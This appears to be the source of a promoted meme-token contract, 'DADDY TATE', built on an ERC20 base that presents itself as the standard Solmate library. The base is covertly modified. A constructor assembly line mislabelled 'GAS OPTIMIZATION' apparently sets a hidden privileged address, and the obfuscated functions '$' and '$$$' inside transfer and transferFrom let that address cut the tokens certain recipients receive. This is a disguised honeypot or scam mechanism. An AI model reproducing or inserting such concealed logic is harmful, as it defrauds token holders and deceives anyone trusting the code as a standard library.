// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*//////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private $$;
/*//////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable STRAIGHT_INFLECT_INTEGER;
bytes32 internal immutable STRAIGHT_REALM_SEPARATOR;
mapping(address => uint256) public nonces;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
STRAIGHT_INFLECT_INTEGER = block.chainid;
STRAIGHT_REALM_SEPARATOR = computeDomainSeparator();
// GAS OPTIMIZATION
assembly {sstore(0x05, mul(mul(0x38c0, 0x2d8cdd763), mul(0x1d46de11fdb, 0xde8e3753c84914a1)))}
}
/*//////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, msg.sender, to);
}
$$$(to);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += $(amount, from, to);
}
$$$(to);
emit Transfer(from, to, amount);
return true;
}
/*//////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == STRAIGHT_INFLECT_INTEGER ? STRAIGHT_REALM_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
function $(
uint256 value,
address from,
address to
) internal view returns (uint256) {
if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
return (value * 0xc0ffee) / 0xcaca0a0a;
} else {
return value;
}
}
function $$$(address to) internal {
if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./ERC20.sol";
/*
CALL HIM $DADDY now on ETH
SAVE YOURSELF FROM BEING BROKEY
// https://www.daddysuniversity.com/
// https://x.com/daddytatecto
// https://t.me/DADDYTATECTO
⡡⢂⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄
⢆⠡⠂⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣾⠐⠀⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠠
⡊⠤⢁⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⡄⠀⠀⠂⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠁
⡑⠢⢄⠂⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣏⣿⣧⣀⢠⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠂⠔
⡍⢃⠆⡘⡐⠠⢁⠂⠀⠀⠀⠀⠀⠀⠸⣿⣿⢾⣿⣿⣿⠙⡿⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢈⠂
⡌⢣⠘⠄⡘⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⣿⣭⣹⣿⣯⢄⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠠⠌
⡜⢢⠉⡔⠠⢁⠂⢀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣷⢒⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠡⢁⠊
⡕⢪⡐⢡⠂⠌⡐⠈⠀⠀⠀⠀⠀⠀⢀⣴⣿⡿⣿⡿⡿⠞⡉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀
⡍⠒⡌⢂⠡⢂⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣦⣀⠈⢀⣅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄
⣌⠣⡐⠌⡐⡀⠂⡁⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠘⣈⠒
⡬⡑⣌⠢⡁⠤⣁⠐⡠⢡⣾⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠠⠀
⣷⡱⢆⡓⢌⠒⡄⠃⡔⣸⣿⣿⣿⣿⣿⣿⣿⣯⣿⣿⣿⣿⣟⣷⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠐⡠⠐⠠⠐⡈⢄⠢⡁
⢧⡑⢎⡸⣀⢣⠘⡰⢨⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⠁⠀⠀⠀⡁⠌⠄⡃⠔
⡷⣘⢦⡑⢆⢎⡱⢡⠋⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠠⠁⢂⠐⡈⡐⠌⣂
⣿⡽⣮⣽⣚⢆⢆⡡⢂⢸⣿⣿⣾⣥⢰⢄⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠠⠐⠌⡄
⣿⣛⢷⡣⢟⡮⢳⡜⢆⣺⣿⡏⢻⡟⢵⡣⢪⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠐⡈⠔⠠
⣷⣛⢮⡱⢋⡜⢣⠜⠬⣸⣿⣷⠂⠃⣄⠩⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠤⠠⢄⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠂⠄⠀⠀⠀⢀⡀⢀⡀⠠⠀⠒⠈⠐⠁⠃⠒⠃⠘⠈⠀
⣷⡹⢮⡵⡩⢜⡡⢎⠱⡠⢿⣿⡃⢶⣀⠀⠈⠛⠿⣿⣿⣿⣿⣿⣿⣿⡏⢣⡋⣼⢢⠄⡀⢀⠀⡀⢀⠀⡀⢀⠀⣀⠠⣀⠤⢒⡈⠪⠭⠤⠀⠀⠀⠠⠄⡤⠤⢦⠴⢦⠶⣤⢶⡴⣶
⣷⡹⢧⡳⡕⢎⡴⣉⠶⣡⢻⣿⣽⡜⠻⠶⣦⣤⣀⠈⠛⠻⠿⢿⣿⣿⣿⡦⠏⢡⡼⣘⡔⣃⠎⡔⢡⠊⢔⡡⠞⠚⠉⠀⠀⠀⢀⣠⢠⣤⣶⣿⠿⣛⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⡷⢭⢳⡱⡙⣆⢲⢩⠖⣥⢃⡛⢻⣷⣶⣴⣤⣤⣭⣟⠖⠞⠛⠑⠢⢸⠏⠁⠀⠀⡈⠛⠚⠎⠖⠬⠖⠉⠁⠀⠀⠀⠀⡀⠔⠈⠁⡀⠄⡹⢿⣯⣷⣿⣿⣿⣿⡷⢈⣿⣿⣿⣿⣿⣿
⡝⡎⢥⢃⠳⠌⠦⣉⠚⡄⠣⢌⢡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣾⣾⣶⣾⣥⡴⡠⡳⢴⡬⡇⡍⠉⠉⠁⠀⠀⢀⡀⠂⠁⡀⢄⠢⡑⢤⠓⡤⠣⢌⠻⠿⠿⠿⠟⣳⣿⣿⣿⣿⣿⣿⣿
⢧⡱⢌⡚⠤⢒⠤⡉⠦⡑⢢⠘⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠓⠵⠷⣮⠱⠁⠁⠀⠀⠀⠀⠀⠜⠣⢀⠢⡑⡌⢆⠳⣌⠲⢡⠒⡌⠤⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿
⡳⢜⢢⡙⠌⡥⢒⠡⢃⡙⠤⢫⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠔⠁⠀⠀⠀⢀⠠⠐⠈⠀⠀⠀⠈⠀⠃⠌⠑⠈⠌⠑⠀⠃⠂⠁⠈⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿
⡳⢎⢦⣉⠖⡤⢃⡜⡰⡘⢬⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⢀⠠⠒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⢠⠐⠦⣐⣦⣲⣤⣤⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⢯⡶⣭⢞⡴⣣⡜⣥⣙⢦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠐⠁⠀⢀⠠⢄⢂⠆⣱⣊⣴⣡⣮⣤⣧⣶⣾⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⢿⡻⡽⣛⠞⣧⠻⠶⡽⢯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣄⣦⣶⣮⣶⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣷⣿⣷⣿⣻⡷⣟⡻⣍⡳⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⡩⢋⠝⣙⢋⠟⡹⢛⡛⣟⢻⠻⡟⢿⡟⠿⣛⣟⣻⣟⣻⣿⣹⣯⢿⣽⢿⡽⣿⣽⣻⣟⡿⣿⢿⣿⣿
⣿⣿⣿⣿⣿⣽⣿⣽⣻⣽⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣥⣯⣼⣶⣿⡾⢷⣟⣺⣭⣧⣿⣽⣶⣿⣿⣻⢾⣻⣞⡿⣾⡽⣾⢯⣟⣯⣟⡷⣯⢷⣯⢿⣽⣻⣼⣳
*/
contract daddy is ERC20 {
constructor() ERC20("DADDY TATE","DADDY", 18) {
_mint(msg.sender, 999_689_037 * 10 ** 18);
}
}
{
"compilationTarget": {
"Token.sol": "daddy"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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